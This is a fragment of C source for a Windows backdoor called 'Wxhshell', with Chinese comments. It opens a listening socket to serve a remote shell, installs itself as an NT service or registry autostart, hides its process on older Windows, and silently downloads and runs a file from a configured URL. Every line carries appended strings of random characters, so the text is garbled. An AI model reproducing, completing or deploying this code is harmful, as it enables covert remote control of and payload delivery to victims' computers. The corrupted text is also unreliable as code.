ULONG InheritedFromUniqueProcessId; ,J mbqOV?!
} PROCESS_BASIC_INFORMATION; ^TXf sQs
Swtbl`,
PROCNTQSIP NtQueryInformationProcess; :9l51oE7
\g-j9|0
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ,`td@Y
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; g"Qh]:
Oajv^H,Em
HANDLE hProcess; %Hi~aRz
PROCESS_BASIC_INFORMATION pbi; |!d"*.Q@F
v|
z08\a[
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %K 4
if(NULL == hInst ) return 0; DE{h5-g
ZF#Rej?
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 2aNT#J"_
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); F5gObIJtuY
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Jx-wO/
WV kR56
if (!NtQueryInformationProcess) return 0; iO!6}yJ*V
++[5q+b
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); d]0a%Xh[
if(!hProcess) return 0; W( *V2<$o
Em13dem
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; N~=A
K.>wQA&
CloseHandle(hProcess); 3+OsjZ
PfW|77
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); kpfwqHT
if(hProcess==NULL) return 0; "oc$
FE5Q?*Ea
HMODULE hMod; N4^5rrkL
char procName[255]; 0vs0*;F;
unsigned long cbNeeded; 4cCF\&yU
O>DNC-m)i{
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); =~FG&rk^
(N~$x
CloseHandle(hProcess); ^E>CGGS4
SKXBrD=-
if(strstr(procName,"services")) return 1; // 以服务启动 x.DzViP/
ro| vh\y
return 0; // 注册表启动 I#A2)V0P)
} (!K+P[g
+6W(z3($
// 主模块 >`V}U*}*H
int StartWxhshell(LPSTR lpCmdLine) e`UQz$4!
{ Ef7:y|?
SOCKET wsl; `U`#I,Ln[
BOOL val=TRUE; c5i%(!>
int port=0; ,axDMMDI
struct sockaddr_in door; PE@+w#i7*
7h<> k*E)
if(wscfg.ws_autoins) Install(); 32XS`Z
^nDal':*
port=atoi(lpCmdLine); 6`nR5 fh
#ch
if(port<=0) port=wscfg.ws_port; }HZ{(?
vahoSc;sw
WSADATA data; @YL}km&Fw
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; A| x:UQlu
?F$6;N6x
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; BD;H
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /NBTvTI
door.sin_family = AF_INET; H 30OUrD
door.sin_addr.s_addr = inet_addr("127.0.0.1"); @Jv# fr
door.sin_port = htons(port); z%"Ai)W/{
\SYvD y]
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { LPE)
closesocket(wsl); P2k7M(I_&
return 1; oh}^?p
} -@bp4Z=
a5wDm
if(listen(wsl,2) == INVALID_SOCKET) { i+(GNcg2
closesocket(wsl); Dm{Ok#@r2
return 1; T |"`8mG
} r?p{LF
Wxhshell(wsl); 9Vh_[^bR
WSACleanup(); .)PqN s:
Cv TwBJy1
return 0; `^8*<+
Rl@$xP
} -zC]^Ho@
hLuJWjCV
// 以NT服务方式启动 yFeeG3n3
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) $p6N|p
{ Gt^d;7x]
DWORD status = 0; ~$aTM_4
DWORD specificError = 0xfffffff; n9}RW;N+u
;L6Xs_L~
serviceStatus.dwServiceType = SERVICE_WIN32; L$JI43HZ
serviceStatus.dwCurrentState = SERVICE_START_PENDING; .9 kyrlm
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; h[U7!aM
serviceStatus.dwWin32ExitCode = 0; j@P5(3r
serviceStatus.dwServiceSpecificExitCode = 0; Di.;<v#FL
serviceStatus.dwCheckPoint = 0; o~~ 9!\
serviceStatus.dwWaitHint = 0; z}APR@?`n8
P/aDd@j
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); t .=Oj
if (hServiceStatusHandle==0) return; 5+L8\V9;
:('I)C
status = GetLastError(); X4I]9t\
if (status!=NO_ERROR) xXOw:A'
{ XS/n>C
serviceStatus.dwCurrentState = SERVICE_STOPPED; 1_3?R}$Wl
serviceStatus.dwCheckPoint = 0; .uDM_ 34
serviceStatus.dwWaitHint = 0; fv==Gu%{
serviceStatus.dwWin32ExitCode = status; 1P5LH5
serviceStatus.dwServiceSpecificExitCode = specificError; !J#.!}3
SetServiceStatus(hServiceStatusHandle, &serviceStatus); /2w@K_Px6
return; qX@9N=g`#O
} ~gt3Omh
+qE']yzm!
serviceStatus.dwCurrentState = SERVICE_RUNNING; Bcaw~WD
serviceStatus.dwCheckPoint = 0; bF6gBM@*
serviceStatus.dwWaitHint = 0; S:Xs'0K_
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); dQ6GhS~
} aL)Hv k:
|Ylg$?,9*
// 处理NT服务事件,比如:启动、停止 )F
E8D
VOID WINAPI NTServiceHandler(DWORD fdwControl) 0M\NS$u(Y
{ 3H'*?|Y(#
switch(fdwControl) >EBC 2WJ
{ K -E`y
case SERVICE_CONTROL_STOP: DB8s
serviceStatus.dwWin32ExitCode = 0; 1f;or_f#k?
serviceStatus.dwCurrentState = SERVICE_STOPPED; UPO^V:.R4
serviceStatus.dwCheckPoint = 0; ,9vJtP+T+!
serviceStatus.dwWaitHint = 0; )*HjRTF6G
{ 3ZN>9`
SetServiceStatus(hServiceStatusHandle, &serviceStatus); hho%~^bn(
} 4WG=m}X
return; #Q+R%p[D
case SERVICE_CONTROL_PAUSE: 0x#E4v(UA
serviceStatus.dwCurrentState = SERVICE_PAUSED; H5p5S\g-)
break; \\s?B K
case SERVICE_CONTROL_CONTINUE: vzy!3Hiw
serviceStatus.dwCurrentState = SERVICE_RUNNING; <(uTst
break; 'a_s%{BJXg
case SERVICE_CONTROL_INTERROGATE: qb$_xIQpDL
break; ^H'kHl'F
}; MiD
SetServiceStatus(hServiceStatusHandle, &serviceStatus); u\w 2S4c
} J!<#Nc
"OJr*B
// 标准应用程序主函数 _#(s2.h~J
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Y eO-gY[b
{ #^;s<YZ`
MLeX;He
// 获取操作系统版本 ;_p fwa4
OsIsNt=GetOsVer(); \CwtX(6.
GetModuleFileName(NULL,ExeFile,MAX_PATH); j`Nh7+qs
ITQ9(W
Un
// 从命令行安装 kYtHX~@
if(strpbrk(lpCmdLine,"iI")) Install(); 25&nwz
-$m@*L
// 下载执行文件 Zly-\z_
if(wscfg.ws_downexe) { 3FY_A(+
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) qAORWc
WinExec(wscfg.ws_filenam,SW_HIDE);
,5kvn
} xv&S[=Dt
oB}K[3uB:t
if(!OsIsNt) { %t{Sb4XZ4k
// 如果时win9x,隐藏进程并且设置为注册表启动 We\Y \*!v
HideProc(); A?'
H[2]w"
StartWxhshell(lpCmdLine); &/DOO ^
} )O -cw7 >
else Yg|"-
if(StartFromService()) V0S6M^\DK
// 以服务方式启动 9nO(xJ"e4
StartServiceCtrlDispatcher(DispatchTable); 7y>(H<^>
else pMDH
// 普通方式启动 {70Ou}*
StartWxhshell(lpCmdLine); ~K%k
0kT
1V0sl0i4
return 0; c+wuC,
}